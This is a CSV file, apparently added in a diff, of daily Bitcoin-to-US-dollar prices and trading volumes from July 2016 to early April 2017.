+2016-07-17,660.6900024414062,680.9400024414062,660.1300048828125,676.3300170898438,676.3300170898438,31614610,BTC-USD +2016-07-18,676.3300170898438,680.4199829101562,664.6099853515625,670.3800048828125,670.3800048828125,28810844,BTC-USD +2016-07-19,670.3800048828125,673.239990234375,663.6300048828125,671.0999755859375,671.0999755859375,20401885,BTC-USD +2016-07-20,671.0999755859375,672.2899780273438,659.510009765625,664.4000244140625,664.4000244140625,25075066,BTC-USD +2016-07-21,664.4000244140625,666.510009765625,657.8200073242188,664.6199951171875,664.6199951171875,21351309,BTC-USD +2016-07-22,664.6199951171875,669.4400024414062,645.6900024414062,651.1099853515625,651.1099853515625,43283429,BTC-USD +2016-07-23,651.1099853515625,658.1699829101562,647.97998046875,655.1599731445312,655.1599731445312,19544654,BTC-USD +2016-07-24,655.1599731445312,664.2100219726562,651.030029296875,659.2899780273438,659.2899780273438,19642346,BTC-USD +2016-07-25,659.2899780273438,662.510009765625,651.0800170898438,654.0,654.0,22564554,BTC-USD +2016-07-26,654.0,657.760009765625,643.489990234375,654.3800048828125,654.3800048828125,32177578,BTC-USD +2016-07-27,654.3800048828125,659.0800170898438,646.0399780273438,654.5399780273438,654.5399780273438,19568531,BTC-USD +2016-07-28,654.5399780273438,657.9600219726562,650.8099975585938,654.1300048828125,654.1300048828125,18452583,BTC-USD +2016-07-29,654.1300048828125,657.4000244140625,650.989990234375,655.4299926757812,655.4299926757812,17757920,BTC-USD +2016-07-30,655.4299926757812,657.5499877929688,652.0599975585938,654.739990234375,654.739990234375,12721755,BTC-USD +2016-07-31,654.739990234375,654.9199829101562,621.4199829101562,621.8699951171875,621.8699951171875,39918066,BTC-USD +2016-08-01,621.8699951171875,627.8900146484375,603.5499877929688,607.0,607.0,41229298,BTC-USD +2016-08-02,607.0,613.75,471.3599853515625,513.4299926757812,513.4299926757812,75338595,BTC-USD +2016-08-03,513.4299926757812,573.0599975585938,514.0900268554688,566.4400024414062,566.4400024414062,47170751,BTC-USD +2016-08-04,566.4400024414062,584.8900146484375,559.5,576.219970703125,576.219970703125,25725471,BTC-USD +2016-08-05,576.219970703125,579.969970703125,565.8099975585938,574.6599731445312,574.6599731445312,15992890,BTC-USD +2016-08-06,574.6599731445312,596.6799926757812,565.3300170898438,586.4500122070312,586.4500122070312,14676841,BTC-USD +2016-08-07,586.4500122070312,596.010009765625,580.8699951171875,590.8499755859375,590.8499755859375,15491523,BTC-USD +2016-08-08,590.8499755859375,594.239990234375,585.4099731445312,589.239990234375,589.239990234375,14726811,BTC-USD +2016-08-09,589.239990234375,591.2000122070312,581.0999755859375,585.25,585.25,15304277,BTC-USD +2016-08-10,585.25,600.52001953125,580.8699951171875,590.9400024414062,590.9400024414062,29376783,BTC-USD +2016-08-11,590.9400024414062,599.1500244140625,585.3900146484375,587.8400268554688,587.8400268554688,23640952,BTC-USD +2016-08-12,587.8400268554688,591.1400146484375,582.2000122070312,587.1400146484375,587.1400146484375,15009452,BTC-USD +2016-08-13,587.1400146484375,590.0700073242188,582.8099975585938,584.5900268554688,584.5900268554688,11357750,BTC-USD +2016-08-14,584.5900268554688,585.7999877929688,559.9299926757812,569.0599975585938,569.0599975585938,18970094,BTC-USD +2016-08-15,569.0599975585938,574.969970703125,559.280029296875,566.9500122070312,566.9500122070312,19218972,BTC-USD +2016-08-16,566.9500122070312,583.3800048828125,563.3800048828125,580.1900024414062,580.1900024414062,21634083,BTC-USD +2016-08-17,580.1900024414062,581.0999755859375,568.6599731445312,572.3400268554688,572.3400268554688,18886741,BTC-USD +2016-08-18,572.3400268554688,579.530029296875,570.8300170898438,573.3900146484375,573.3900146484375,17509679,BTC-USD +2016-08-19,573.3900146484375,577.8599853515625,566.25,574.5599975585938,574.5599975585938,14701426,BTC-USD +2016-08-20,574.5599975585938,583.5,572.280029296875,582.6099853515625,582.6099853515625,13416843,BTC-USD +2016-08-21,582.6099853515625,585.3200073242188,577.8400268554688,580.6599731445312,580.6599731445312,8294321,BTC-USD +2016-08-22,580.6599731445312,591.9000244140625,577.1300048828125,587.469970703125,587.469970703125,19658058,BTC-USD +2016-08-23,587.469970703125,589.8699951171875,578.6099853515625,583.5599975585938,583.5599975585938,18772369,BTC-USD +2016-08-24,583.5599975585938,584.469970703125,576.8200073242188,579.6599731445312,579.6599731445312,16337141,BTC-USD +2016-08-25,579.6599731445312,580.7100219726562,570.8099975585938,577.9600219726562,577.9600219726562,18885349,BTC-USD +2016-08-26,577.9600219726562,582.72998046875,575.8300170898438,579.3699951171875,579.3699951171875,12329289,BTC-USD +2016-08-27,579.3699951171875,580.4099731445312,567.25,570.3499755859375,570.3499755859375,10747219,BTC-USD +2016-08-28,570.3499755859375,576.3200073242188,569.2100219726562,574.97998046875,574.97998046875,7377921,BTC-USD +2016-08-29,574.97998046875,578.6099853515625,571.3800048828125,574.22998046875,574.22998046875,13760854,BTC-USD +2016-08-30,574.22998046875,579.9400024414062,572.510009765625,577.3200073242188,577.3200073242188,15895354,BTC-USD +2016-08-31,577.3200073242188,578.25,571.6900024414062,573.8800048828125,573.8800048828125,14338795,BTC-USD +2016-09-01,573.8800048828125,704.969970703125,569.3699951171875,571.989990234375,571.989990234375,14860164,BTC-USD +2016-09-02,571.989990234375,577.5999755859375,569.2999877929688,575.2899780273438,575.2899780273438,15315755,BTC-USD +2016-09-03,575.2899780273438,604.969970703125,572.6400146484375,598.8400268554688,598.8400268554688,21055514,BTC-USD +2016-09-04,598.8400268554688,615.2000122070312,590.780029296875,609.5499877929688,609.5499877929688,18646011,BTC-USD +2016-09-05,609.5499877929688,610.6099853515625,598.77001953125,605.760009765625,605.760009765625,15369832,BTC-USD +2016-09-06,605.760009765625,611.9500122070312,603.5499877929688,610.4400024414062,610.4400024414062,14864563,BTC-USD +2016-09-07,610.4400024414062,616.47998046875,606.239990234375,613.2100219726562,613.2100219726562,18429525,BTC-USD +2016-09-08,613.2100219726562,629.2999877929688,611.25,625.5700073242188,625.5700073242188,22710390,BTC-USD +2016-09-09,625.5700073242188,627.5800170898438,617.3200073242188,623.1599731445312,623.1599731445312,17710151,BTC-USD +2016-09-10,623.1599731445312,627.4500122070312,621.0700073242188,624.52001953125,624.52001953125,9600113,BTC-USD +2016-09-11,624.52001953125,630.77001953125,592.7899780273438,605.6099853515625,605.6099853515625,22467346,BTC-USD +2016-09-12,605.6099853515625,610.6199951171875,603.030029296875,607.97998046875,607.97998046875,17058938,BTC-USD +2016-09-13,607.97998046875,612.030029296875,604.8699951171875,608.6099853515625,608.6099853515625,16850869,BTC-USD +2016-09-14,608.6099853515625,612.1599731445312,606.3900146484375,609.5399780273438,609.5399780273438,14878860,BTC-USD +2016-09-15,609.5399780273438,610.72998046875,605.0999755859375,608.1099853515625,608.1099853515625,13892193,BTC-USD +2016-09-16,608.1099853515625,610.3599853515625,605.1500244140625,607.780029296875,607.780029296875,13353736,BTC-USD +2016-09-17,607.780029296875,609.6099853515625,604.52001953125,607.0800170898438,607.0800170898438,9724490,BTC-USD +2016-09-18,607.0800170898438,612.3800048828125,605.219970703125,610.7000122070312,610.7000122070312,10004923,BTC-USD +2016-09-19,610.7000122070312,612.4099731445312,606.989990234375,609.8499755859375,609.8499755859375,12981851,BTC-USD +2016-09-20,609.8499755859375,611.27001953125,605.9299926757812,609.239990234375,609.239990234375,13809380,BTC-USD +2016-09-21,609.239990234375,608.8200073242188,591.6900024414062,597.1599731445312,597.1599731445312,22059386,BTC-USD +2016-09-22,597.1599731445312,599.780029296875,592.8300170898438,595.6300048828125,595.6300048828125,13463966,BTC-USD +2016-09-23,595.6300048828125,603.7000122070312,594.1099853515625,602.9199829101562,602.9199829101562,15567036,BTC-USD +2016-09-24,602.9199829101562,605.9199829101562,600.5,602.5900268554688,602.5900268554688,8196210,BTC-USD +2016-09-25,602.5900268554688,604.8699951171875,598.3499755859375,601.489990234375,601.489990234375,8038079,BTC-USD +2016-09-26,601.489990234375,608.4600219726562,598.1699829101562,606.5399780273438,606.5399780273438,16700407,BTC-USD +2016-09-27,606.5399780273438,608.969970703125,601.72998046875,605.469970703125,605.469970703125,15534315,BTC-USD +2016-09-28,605.469970703125,606.9000244140625,602.6199951171875,604.6699829101562,604.6699829101562,11485005,BTC-USD +2016-09-29,604.6699829101562,607.22998046875,602.010009765625,604.7000122070312,604.7000122070312,15403975,BTC-USD +2016-09-30,604.7000122070312,608.780029296875,602.25,608.1400146484375,608.1400146484375,14534745,BTC-USD +2016-10-01,608.1400146484375,615.0,607.0700073242188,613.4099731445312,613.4099731445312,10415543,BTC-USD +2016-10-02,613.4099731445312,614.2100219726562,607.6699829101562,610.6900024414062,610.6900024414062,10096653,BTC-USD +2016-10-03,610.6900024414062,613.2000122070312,608.469970703125,611.5999755859375,611.5999755859375,13462741,BTC-USD +2016-10-04,611.5999755859375,612.6799926757812,606.5,608.9600219726562,608.9600219726562,15300692,BTC-USD +2016-10-05,608.9600219726562,613.6500244140625,607.97998046875,611.8200073242188,611.8200073242188,14360536,BTC-USD +2016-10-06,611.8200073242188,612.6799926757812,608.5399780273438,610.969970703125,610.969970703125,13276337,BTC-USD +2016-10-07,610.969970703125,619.4299926757812,609.1199951171875,616.030029296875,616.030029296875,20167399,BTC-USD +2016-10-08,616.030029296875,619.5599975585938,614.8800048828125,617.6500244140625,617.6500244140625,8467434,BTC-USD +2016-10-09,617.6500244140625,618.3499755859375,613.010009765625,615.77001953125,615.77001953125,8320759,BTC-USD +2016-10-10,615.77001953125,618.8099975585938,612.760009765625,617.2899780273438,617.2899780273438,15597892,BTC-USD +2016-10-11,617.2899780273438,642.3499755859375,615.5999755859375,640.4500122070312,640.4500122070312,35367127,BTC-USD +2016-10-12,640.4500122070312,642.510009765625,632.1900024414062,635.989990234375,635.989990234375,17240000,BTC-USD +2016-10-13,635.989990234375,639.52001953125,632.25,635.5999755859375,635.5999755859375,16387361,BTC-USD +2016-10-14,635.5999755859375,640.4600219726562,630.6599731445312,637.9199829101562,637.9199829101562,20114873,BTC-USD +2016-10-15,637.9199829101562,641.4000244140625,635.0599975585938,637.030029296875,637.030029296875,7970927,BTC-USD +2016-10-16,637.030029296875,642.1799926757812,636.3900146484375,640.1199951171875,640.1199951171875,8306925,BTC-USD +2016-10-17,640.1199951171875,641.2899780273438,634.8900146484375,637.3699951171875,637.3699951171875,17742610,BTC-USD +2016-10-18,637.3699951171875,639.3400268554688,632.22998046875,635.3400268554688,635.3400268554688,15725013,BTC-USD +2016-10-19,635.3400268554688,637.27001953125,624.0900268554688,629.0599975585938,629.0599975585938,22379197,BTC-USD +2016-10-20,629.0599975585938,630.8300170898438,625.47998046875,628.3400268554688,628.3400268554688,13252110,BTC-USD +2016-10-21,628.3400268554688,633.260009765625,627.5800170898438,630.4500122070312,630.4500122070312,17836383,BTC-USD +2016-10-22,630.4500122070312,659.8900146484375,629.719970703125,655.47998046875,655.47998046875,24154228,BTC-USD +2016-10-23,655.47998046875,661.2000122070312,648.780029296875,653.030029296875,653.030029296875,14418212,BTC-USD +2016-10-24,653.030029296875,654.3200073242188,645.6799926757812,650.489990234375,650.489990234375,21726106,BTC-USD +2016-10-25,650.489990234375,662.5399780273438,647.6500244140625,651.0,651.0,24179462,BTC-USD +2016-10-26,651.0,678.3900146484375,651.3900146484375,674.6699829101562,674.6699829101562,31949607,BTC-USD +2016-10-27,674.6699829101562,687.8800048828125,672.260009765625,682.2999877929688,682.2999877929688,31862181,BTC-USD +2016-10-28,682.2999877929688,688.4299926757812,678.6300048828125,686.239990234375,686.239990234375,26829414,BTC-USD +2016-10-29,686.239990234375,720.1900024414062,685.219970703125,714.9500122070312,714.9500122070312,38351348,BTC-USD +2016-10-30,714.9500122070312,714.9099731445312,689.510009765625,697.27001953125,697.27001953125,27793236,BTC-USD +2016-10-31,697.27001953125,707.2100219726562,682.1699829101562,698.6699829101562,698.6699829101562,26687188,BTC-USD +2016-11-01,698.6699829101562,734.3599853515625,695.2000122070312,726.760009765625,726.760009765625,49453950,BTC-USD +2016-11-02,726.760009765625,735.780029296875,718.1400146484375,733.510009765625,733.510009765625,28452232,BTC-USD +2016-11-03,733.510009765625,744.4299926757812,670.4000244140625,684.8699951171875,684.8699951171875,69067917,BTC-USD +2016-11-04,684.8699951171875,706.6400146484375,681.27001953125,702.0800170898438,702.0800170898438,33762721,BTC-USD +2016-11-05,702.0800170898438,706.3800048828125,694.030029296875,702.1099853515625,702.1099853515625,15554565,BTC-USD +2016-11-06,702.1099853515625,714.1300048828125,697.6300048828125,709.9099731445312,709.9099731445312,18363567,BTC-USD +2016-11-07,709.9099731445312,711.6599731445312,698.3499755859375,705.4000244140625,705.4000244140625,21797370,BTC-USD +2016-11-08,705.4000244140625,714.6300048828125,700.9600219726562,710.9000244140625,710.9000244140625,28262235,BTC-USD +2016-11-09,710.9000244140625,741.22998046875,707.1300048828125,721.4199829101562,721.4199829101562,51548567,BTC-USD +2016-11-10,721.4199829101562,723.02001953125,707.3099975585938,714.5700073242188,714.5700073242188,23931322,BTC-USD +2016-11-11,714.5700073242188,719.7899780273438,711.6699829101562,714.969970703125,714.969970703125,18386841,BTC-USD +2016-11-12,714.969970703125,717.3699951171875,701.0800170898438,704.27001953125,704.27001953125,19677656,BTC-USD +2016-11-13,704.27001953125,705.6099853515625,685.010009765625,701.969970703125,701.969970703125,25249834,BTC-USD +2016-11-14,701.969970703125,708.030029296875,696.1099853515625,704.5599975585938,704.5599975585938,26613445,BTC-USD +2016-11-15,704.5599975585938,716.9299926757812,697.9099731445312,711.0999755859375,711.0999755859375,29562740,BTC-USD +2016-11-16,711.0999755859375,745.97998046875,708.1400146484375,740.280029296875,740.280029296875,58304902,BTC-USD +2016-11-17,740.280029296875,751.9099731445312,730.0800170898438,737.530029296875,737.530029296875,46942756,BTC-USD +2016-11-18,737.530029296875,751.4299926757812,730.9500122070312,746.9600219726562,746.9600219726562,29666065,BTC-USD +2016-11-19,746.9600219726562,755.3400268554688,737.4400024414062,747.8900146484375,747.8900146484375,19276573,BTC-USD +2016-11-20,747.8900146484375,752.260009765625,712.77001953125,728.510009765625,728.510009765625,34876785,BTC-USD +2016-11-21,728.510009765625,744.3300170898438,726.5499877929688,736.1900024414062,736.1900024414062,24010681,BTC-USD +2016-11-22,736.1900024414062,754.010009765625,730.6199951171875,749.3400268554688,749.3400268554688,33225195,BTC-USD +2016-11-23,749.3400268554688,750.9299926757812,731.3400268554688,741.0700073242188,741.0700073242188,28258203,BTC-USD +2016-11-24,741.0700073242188,744.239990234375,726.1900024414062,735.3099975585938,735.3099975585938,27531777,BTC-USD +2016-11-25,735.3099975585938,741.25,728.969970703125,740.3900146484375,740.3900146484375,21299510,BTC-USD +2016-11-26,740.3900146484375,740.9600219726562,725.6199951171875,734.1400146484375,734.1400146484375,16682481,BTC-USD +2016-11-27,734.1400146484375,738.2899780273438,727.1099853515625,729.4199829101562,729.4199829101562,15735824,BTC-USD +2016-11-28,729.4199829101562,738.0999755859375,727.739990234375,733.2999877929688,733.2999877929688,25153838,BTC-USD +2016-11-29,733.2999877929688,737.0399780273438,727.780029296875,732.5599975585938,732.5599975585938,24030304,BTC-USD +2016-11-30,732.5599975585938,745.3900146484375,730.5700073242188,742.489990234375,742.489990234375,29210351,BTC-USD +2016-12-01,742.489990234375,755.47998046875,741.0800170898438,752.6300048828125,752.6300048828125,40690942,BTC-USD +2016-12-02,752.6300048828125,779.02001953125,752.25,770.9400024414062,770.9400024414062,48893613,BTC-USD +2016-12-03,770.9400024414062,772.3200073242188,755.8099975585938,764.239990234375,764.239990234375,30234128,BTC-USD +2016-12-04,764.239990234375,769.22998046875,758.7999877929688,766.3900146484375,766.3900146484375,14755120,BTC-USD +2016-12-05,766.3900146484375,769.1799926757812,746.010009765625,754.3400268554688,754.3400268554688,39082688,BTC-USD +2016-12-06,754.3400268554688,762.47998046875,750.9099731445312,758.2100219726562,758.2100219726562,25497771,BTC-USD +2016-12-07,758.2100219726562,769.02001953125,754.27001953125,765.5599975585938,765.5599975585938,26755412,BTC-USD +2016-12-08,765.5599975585938,773.4099731445312,761.1699829101562,768.489990234375,768.489990234375,22208497,BTC-USD +2016-12-09,768.489990234375,773.47998046875,765.030029296875,770.47998046875,770.47998046875,18722048,BTC-USD +2016-12-10,770.47998046875,776.9600219726562,769.1900024414062,774.0,774.0,14049110,BTC-USD +2016-12-11,774.0,774.1599731445312,763.0,767.9099731445312,767.9099731445312,13269086,BTC-USD +2016-12-12,767.9099731445312,781.260009765625,767.8599853515625,778.469970703125,778.469970703125,22442991,BTC-USD +2016-12-13,778.469970703125,790.3300170898438,767.77001953125,778.739990234375,778.739990234375,25894856,BTC-USD +2016-12-14,778.739990234375,780.77001953125,771.010009765625,776.5,776.5,19326375,BTC-USD +2016-12-15,776.5,780.27001953125,773.1199951171875,775.2100219726562,775.2100219726562,20452116,BTC-USD +2016-12-16,775.2100219726562,783.9400024414062,773.3099975585938,782.0499877929688,782.0499877929688,21650384,BTC-USD +2016-12-17,782.0499877929688,791.5700073242188,779.3599853515625,787.1699829101562,787.1699829101562,18648778,BTC-USD +2016-12-18,787.1699829101562,791.260009765625,783.7999877929688,789.010009765625,789.010009765625,11525747,BTC-USD +2016-12-19,789.010009765625,793.72998046875,786.3099975585938,789.7899780273438,789.7899780273438,20238681,BTC-USD +2016-12-20,789.7899780273438,800.02001953125,787.1199951171875,799.0999755859375,799.0999755859375,27406319,BTC-USD +2016-12-21,799.0999755859375,833.1300048828125,795.97998046875,829.2100219726562,829.2100219726562,53411082,BTC-USD +2016-12-22,829.2100219726562,874.6799926757812,828.8699951171875,860.1500244140625,860.1500244140625,60511618,BTC-USD +2016-12-23,860.1500244140625,920.260009765625,858.0399780273438,917.1699829101562,917.1699829101562,91802931,BTC-USD +2016-12-24,917.1699829101562,920.489990234375,880.7899780273438,891.0700073242188,891.0700073242188,41576781,BTC-USD +2016-12-25,891.0700073242188,895.239990234375,851.4199829101562,891.0700073242188,891.0700073242188,37173377,BTC-USD +2016-12-26,891.0700073242188,909.3200073242188,885.8800048828125,898.3800048828125,898.3800048828125,35002753,BTC-USD +2016-12-27,898.3800048828125,937.9099731445312,893.3800048828125,925.780029296875,925.780029296875,45966615,BTC-USD +2016-12-28,925.780029296875,974.510009765625,925.489990234375,972.1699829101562,972.1699829101562,73811803,BTC-USD +2016-12-29,972.1699829101562,982.5700073242188,949.22998046875,971.0800170898438,971.0800170898438,59226667,BTC-USD +2016-12-30,971.0800170898438,971.5900268554688,927.4000244140625,959.0399780273438,959.0399780273438,67449149,BTC-USD +2016-12-31,959.0399780273438,965.469970703125,942.4000244140625,963.3800048828125,963.3800048828125,26379401,BTC-USD +2017-01-01,963.3800048828125,1001.6099853515625,956.0999755859375,995.4400024414062,995.4400024414062,40570922,BTC-USD +2017-01-02,995.4400024414062,1031.6800537109375,990.2000122070312,1017.0499877929688,1017.0499877929688,66038073,BTC-USD +2017-01-03,1017.0499877929688,1035.469970703125,1006.530029296875,1033.300048828125,1033.300048828125,56085870,BTC-USD +2017-01-04,1033.300048828125,1148.5400390625,1022.3200073242188,1135.4100341796875,1135.4100341796875,170584623,BTC-USD +2017-01-05,1135.4100341796875,1150.6300048828125,874.530029296875,989.3499755859375,989.3499755859375,244839289,BTC-USD +2017-01-06,989.3499755859375,1027.4200439453125,852.5499877929688,886.1599731445312,886.1599731445312,179160668,BTC-USD +2017-01-07,886.1599731445312,900.8599853515625,806.6599731445312,888.8699951171875,888.8699951171875,113037531,BTC-USD +2017-01-08,888.8699951171875,936.1300048828125,875.8499755859375,900.8599853515625,900.8599853515625,70298340,BTC-USD +2017-01-09,900.8599853515625,910.469970703125,870.9099731445312,899.780029296875,899.780029296875,55963281,BTC-USD +2017-01-10,899.780029296875,911.3200073242188,890.1199951171875,904.3699951171875,904.3699951171875,48644106,BTC-USD +2017-01-11,904.3699951171875,917.6500244140625,751.6300048828125,785.4299926757812,785.4299926757812,160194109,BTC-USD +2017-01-12,785.4299926757812,828.2100219726562,739.5499877929688,810.1099853515625,810.1099853515625,93986701,BTC-USD +2017-01-13,810.1099853515625,835.0499877929688,771.0,824.8300170898438,824.8300170898438,72555875,BTC-USD +2017-01-14,824.8300170898438,838.9000244140625,808.27001953125,819.6300048828125,819.6300048828125,36594482,BTC-USD +2017-01-15,819.6300048828125,826.4299926757812,808.6300048828125,821.1699829101562,821.1699829101562,20004735,BTC-USD +2017-01-16,821.1699829101562,836.6599731445312,817.7000122070312,827.3400268554688,827.3400268554688,27592899,BTC-USD +2017-01-17,827.3400268554688,906.3800048828125,825.0399780273438,899.6599731445312,899.6599731445312,72272727,BTC-USD +2017-01-18,899.6599731445312,913.6699829101562,845.8699951171875,872.030029296875,872.030029296875,61042392,BTC-USD +2017-01-19,872.030029296875,905.280029296875,870.7100219726562,895.2100219726562,895.2100219726562,52300814,BTC-USD +2017-01-20,895.2100219726562,901.489990234375,878.9000244140625,892.9099731445312,892.9099731445312,34847130,BTC-USD +2017-01-21,892.9099731445312,928.9299926757812,889.4600219726562,919.8400268554688,919.8400268554688,37129176,BTC-USD +2017-01-22,919.8400268554688,938.3800048828125,888.6199951171875,918.8400268554688,918.8400268554688,44074299,BTC-USD +2017-01-23,918.8400268554688,927.97998046875,910.8499755859375,921.4600219726562,921.4600219726562,30261054,BTC-USD +2017-01-24,921.4600219726562,925.6099853515625,889.1500244140625,893.75,893.75,53468911,BTC-USD +2017-01-25,893.75,905.7000122070312,883.6300048828125,894.4099731445312,894.4099731445312,34014866,BTC-USD +2017-01-26,894.4099731445312,919.3200073242188,893.489990234375,915.5599975585938,915.5599975585938,30795685,BTC-USD +2017-01-27,915.5599975585938,922.5599975585938,907.9199829101562,918.010009765625,918.010009765625,28503144,BTC-USD +2017-01-28,918.010009765625,921.8900146484375,912.8400268554688,918.510009765625,918.510009765625,13251844,BTC-USD +2017-01-29,918.510009765625,922.4000244140625,912.6799926757812,914.5499877929688,914.5499877929688,10214368,BTC-USD +2017-01-30,914.5499877929688,922.3499755859375,911.510009765625,920.72998046875,920.72998046875,17604172,BTC-USD +2017-01-31,920.72998046875,967.4500122070312,917.3800048828125,965.489990234375,965.489990234375,51869216,BTC-USD +2017-02-01,965.489990234375,986.5700073242188,959.8200073242188,982.4299926757812,982.4299926757812,44035816,BTC-USD +2017-02-02,982.4299926757812,1009.1300048828125,973.5,1003.969970703125,1003.969970703125,50633910,BTC-USD +2017-02-03,1003.969970703125,1023.719970703125,989.2100219726562,1013.02001953125,1013.02001953125,62431017,BTC-USD +2017-02-04,1013.02001953125,1041.0400390625,1000.4099731445312,1031.8499755859375,1031.8499755859375,40406542,BTC-USD +2017-02-05,1031.8499755859375,1033.6600341796875,1004.0499877929688,1016.1099853515625,1016.1099853515625,31669956,BTC-USD +2017-02-06,1016.1099853515625,1030.5999755859375,1010.8300170898438,1024.6700439453125,1024.6700439453125,32828350,BTC-USD +2017-02-07,1024.6700439453125,1054.0999755859375,1019.8699951171875,1049.56005859375,1049.56005859375,41318349,BTC-USD +2017-02-08,1049.56005859375,1069.22998046875,1020.3300170898438,1055.489990234375,1055.489990234375,68336320,BTC-USD +2017-02-09,1055.489990234375,1073.030029296875,924.6500244140625,978.9600219726562,978.9600219726562,145839317,BTC-USD +2017-02-10,978.9600219726562,1005.5999755859375,947.02001953125,997.6099853515625,997.6099853515625,60639111,BTC-USD +2017-02-11,997.6099853515625,1014.3200073242188,983.9299926757812,1008.3200073242188,1008.3200073242188,28504495,BTC-USD +2017-02-12,1008.3200073242188,1007.8200073242188,992.4500122070312,996.52001953125,996.52001953125,14825023,BTC-USD +2017-02-13,996.52001953125,1007.6099853515625,975.0999755859375,995.3599853515625,995.3599853515625,32785064,BTC-USD +2017-02-14,995.3599853515625,1013.7999877929688,986.4600219726562,1008.3400268554688,1008.3400268554688,39810076,BTC-USD +2017-02-15,1008.3400268554688,1010.9299926757812,999.72998046875,1008.1900024414062,1008.1900024414062,23569549,BTC-USD +2017-02-16,1008.1900024414062,1040.280029296875,1007.3900146484375,1031.9300537109375,1031.9300537109375,39114743,BTC-USD +2017-02-17,1031.9300537109375,1057.3900146484375,1025.8699951171875,1049.4100341796875,1049.4100341796875,47815360,BTC-USD +2017-02-18,1049.4100341796875,1063.2099609375,1044.6800537109375,1052.280029296875,1052.280029296875,26856521,BTC-USD +2017-02-19,1052.280029296875,1056.47998046875,1037.6700439453125,1048.8900146484375,1048.8900146484375,18876881,BTC-USD +2017-02-20,1048.8900146484375,1081.780029296875,1040.989990234375,1077.56005859375,1077.56005859375,32959720,BTC-USD +2017-02-21,1077.56005859375,1123.030029296875,1073.5400390625,1119.030029296875,1119.030029296875,62908569,BTC-USD +2017-02-22,1119.030029296875,1132.25,1094.8299560546875,1120.4599609375,1120.4599609375,53647453,BTC-USD +2017-02-23,1120.4599609375,1181.5999755859375,1113.5400390625,1171.9100341796875,1171.9100341796875,75663167,BTC-USD +2017-02-24,1171.9100341796875,1211.739990234375,1092.4100341796875,1176.489990234375,1176.489990234375,126978010,BTC-USD +2017-02-25,1176.489990234375,1180.010009765625,1116.2099609375,1149.050048828125,1149.050048828125,53003830,BTC-USD +2017-02-26,1149.050048828125,1177.469970703125,1130.6099853515625,1171.5799560546875,1171.5799560546875,35750258,BTC-USD +2017-02-27,1171.5799560546875,1195.8199462890625,1164.27001953125,1188.8299560546875,1188.8299560546875,42035366,BTC-USD +2017-02-28,1188.8299560546875,1208.219970703125,1175.75,1189.27001953125,1189.27001953125,60371869,BTC-USD +2017-03-01,1189.27001953125,1225.0400390625,1154.550048828125,1222.6600341796875,1222.6600341796875,61964760,BTC-USD +2017-03-02,1222.6600341796875,1286.97998046875,1211.9599609375,1255.469970703125,1255.469970703125,98040639,BTC-USD +2017-03-03,1255.469970703125,1291.3499755859375,1250.800048828125,1283.300048828125,1283.300048828125,85876262,BTC-USD +2017-03-04,1283.300048828125,1285.780029296875,1228.72998046875,1264.3199462890625,1264.3199462890625,48597934,BTC-USD +2017-03-05,1264.3199462890625,1273.280029296875,1242.0999755859375,1271.219970703125,1271.219970703125,32104972,BTC-USD +2017-03-06,1271.219970703125,1280.6099853515625,1261.0,1277.010009765625,1277.010009765625,39591110,BTC-USD +2017-03-07,1277.010009765625,1280.8900146484375,1148.6600341796875,1232.68994140625,1232.68994140625,108673876,BTC-USD +2017-03-08,1232.68994140625,1242.0400390625,1136.8800048828125,1146.969970703125,1146.969970703125,116342973,BTC-USD +2017-03-09,1146.969970703125,1206.969970703125,1129.3499755859375,1191.3299560546875,1191.3299560546875,70427061,BTC-USD +2017-03-10,1191.3299560546875,1330.4200439453125,988.6900024414062,1112.3900146484375,1112.3900146484375,223836041,BTC-USD +2017-03-11,1112.3900146484375,1202.68994140625,1104.780029296875,1179.219970703125,1179.219970703125,82387198,BTC-USD +2017-03-12,1179.219970703125,1235.4599609375,1160.9000244140625,1225.1099853515625,1225.1099853515625,53441762,BTC-USD +2017-03-13,1225.1099853515625,1245.6300048828125,1205.6099853515625,1238.18994140625,1238.18994140625,74376298,BTC-USD +2017-03-14,1238.18994140625,1255.52001953125,1218.3800048828125,1243.1400146484375,1243.1400146484375,56058617,BTC-USD +2017-03-15,1243.1400146484375,1256.949951171875,1236.4300537109375,1253.4300537109375,1253.4300537109375,54486699,BTC-USD +2017-03-16,1253.4300537109375,1260.239990234375,1118.9599609375,1172.8800048828125,1172.8800048828125,159409024,BTC-USD +2017-03-17,1172.8800048828125,1174.9000244140625,1063.47998046875,1071.7099609375,1071.7099609375,183879768,BTC-USD +2017-03-18,1071.7099609375,1103.6099853515625,940.1799926757812,971.3800048828125,971.3800048828125,212772055,BTC-USD +2017-03-19,971.3800048828125,1063.6700439453125,967.3099975585938,1022.5999755859375,1022.5999755859375,108128237,BTC-USD +2017-03-20,1022.5999755859375,1057.5,1005.0499877929688,1047.510009765625,1047.510009765625,63833143,BTC-USD +2017-03-21,1047.510009765625,1125.530029296875,1043.8699951171875,1121.2900390625,1121.2900390625,101051998,BTC-USD +2017-03-22,1121.2900390625,1121.8800048828125,997.780029296875,1044.719970703125,1044.719970703125,120730492,BTC-USD +2017-03-23,1044.719970703125,1062.7900390625,1022.02001953125,1035.030029296875,1035.030029296875,58898141,BTC-USD +2017-03-24,1035.030029296875,1038.3800048828125,927.3499755859375,939.7000122070312,939.7000122070312,130042865,BTC-USD +2017-03-25,939.7000122070312,995.9600219726562,890.4299926757812,966.2999877929688,966.2999877929688,118395054,BTC-USD +2017-03-26,966.2999877929688,1004.3200073242188,946.6500244140625,969.4400024414062,969.4400024414062,83255983,BTC-USD +2017-03-27,969.4400024414062,1048.8499755859375,961.7999877929688,1045.1400146484375,1045.1400146484375,92332221,BTC-USD +2017-03-28,1045.1400146484375,1068.4100341796875,1015.4500122070312,1044.4200439453125,1044.4200439453125,83567551,BTC-USD +2017-03-29,1044.4200439453125,1058.6600341796875,1008.3400268554688,1041.9000244140625,1041.9000244140625,71261535,BTC-USD +2017-03-30,1041.9000244140625,1052.6600341796875,1020.9299926757812,1037.9100341796875,1037.9100341796875,77633883,BTC-USD +2017-03-31,1037.9100341796875,1088.199951171875,1035.1800537109375,1079.1099853515625,1079.1099853515625,96543920,BTC-USD +2017-04-01,1079.1099853515625,1103.739990234375,1067.469970703125,1086.1199951171875,1086.1199951171875,55020078,BTC-USD +2017-04-02,1086.1199951171875,1109.47998046875,1074.2099609375,1097.4000244140625,1097.4000244140625,77853933,BTC-USD +2017-04-03,1097.4000244140625,1157.8699951171875,1095.550048828125,1147.56005859375,1147.56005859375,111870807,BTC-USD +2017-04-04,1147.56005859375,1161.18994140625,1122.1500244140625,1141.77001953125,1141.77001953125,81164094,BTC-USD +2017-04-05,1141.77001953125,1143.8399658203125,1110.06005859375,1129.8699951171875,1129.8699951171875,78335573,BTC-USD 